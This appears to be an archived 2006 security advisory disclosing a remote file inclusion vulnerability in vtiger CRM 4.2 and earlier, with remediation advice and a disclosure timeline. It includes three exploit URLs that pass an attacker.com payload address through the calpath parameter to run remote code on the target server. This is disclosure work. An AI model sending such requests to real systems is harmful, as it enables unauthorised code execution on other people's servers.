AOH :: HP Unsorted V :: B06-5135.HTM

vtiger CRM <=4.2 (calpath) Multiple Remote File Inclusion Vulnerability



vtiger CRM <=4.2 (calpath) Multiple Remote File Inclusion Vulnerability
vtiger CRM <=4.2 (calpath) Multiple Remote File Inclusion Vulnerability



ECHO_ADV_54$2006

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[ECHO_ADV_54$2006]vtiger CRM  <=4.2 (calpath) Multiple Remote File Inclusion Vulnerability
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Author		: Dedi Dwianto a.k.a the_day
Date Found	: October, 09th 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv54-theday-2006.txt 
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Vtiger CRM
version		: <=4.2
URL		: http://vtiger.com 

vtiger CRM is 100% Open Source Customer Relationship Management solution built over
LAMP/WAMP stack and other third-party open source packages.
vtiger CRM software can be installed in Windows NT/2000/XP/2003 and different types 
Unix/Linux-based distributions, such as RedHat 7.2/8.0/9.0, Debian 3.0, SuSe 9.0, Fedora Core 3.0, 
Mandrake 10.0, Mac OS, and FreeBSD.
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Vulnerability:
~~~~~~~~~~~~~~

In folder modules/Calendar/admin/ I found vulnerability script update.php
--------------------------update.php---------------------------------------
....
http://target.com/[vtiger_crm_path]/modules/Calendar/admin/update.php?calpath=http://attacker.com/inject.txt? 
http://target.com/[vtiger_crm_path]/modules/Calendar/scheme.php?calpath=http://attacker.com/inject.txt? 
http://target.com/[vtiger_crm_path]/modules/Calendar/calendar.php?calpath=http://attacker.com/inject.txt? 

Solution:
~~~~~~~
- Sanitize variable $calpath on affected files.
- Turn off register_globals

Timeline:
~~~~~~~
09 - 10 - 2006 Bugs Found
09 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure

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Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ newbie_hacker@yahoogroups.com 
~ #aikmel - #e-c-h-o @irc.dal.net 
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---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
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